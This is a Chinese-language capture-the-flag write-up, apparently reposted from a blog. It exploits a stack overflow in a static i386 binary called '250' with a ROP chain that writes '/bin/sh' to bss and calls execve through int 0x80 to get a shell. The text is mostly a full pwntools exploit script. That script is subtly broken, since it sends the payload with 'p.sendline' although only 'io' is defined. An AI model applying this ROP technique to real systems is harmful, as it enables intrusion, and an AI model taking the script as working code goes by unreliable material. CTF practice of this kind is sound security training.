查看保護


靜態鏈接
IDA打開,查看程式流程

自定義的print函式

這里外面傳來temp并拷貝到v3中,但是沒有考慮長度,存在堆疊溢位漏洞,溢位長度0x3a
那么可以考慮i386的rop

控制對應的暫存器為對應的值就可以獲得shell
程式里面沒有’/bin/sh’,可以控制read函式寫入到bss段
那么可以 ROPgadget --binary 250 --only “pop|ret” 查看對應的gadget

bss段可以選擇(這里選擇不唯一)

payload構造,首先溢位在bss段寫入/bin/sh
read=elf.symbols['read']
payload = b'a'*(0x3a+0x4)
payload += p32(read) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(bss) + p32(0x8)
然后修改暫存器的值
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss) + p32(int_addr)
完整ex
from pwn import *
#static 構造exceve() int80
context(log_level='debug')
io=process("./250")
elf=ELF("./250")
io.recv()
io.sendline(b'200')
io.recv()
#read=0x806d510
read=elf.symbols['read']
bss=0x080ECB00
pop_edx_ecx_ebx_ret=0x806efe0
pop_eax_ret=0x80b89e6
int_addr=0x806cbb5
payload = b'a'*(0x3a+0x4)
payload += p32(read) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(bss) + p32(0x8)
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss) + p32(int_addr)
p.sendline(payload)
p.send(b'/bin/sh\x00')
io.interactive()
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/244793.html
標籤:其他
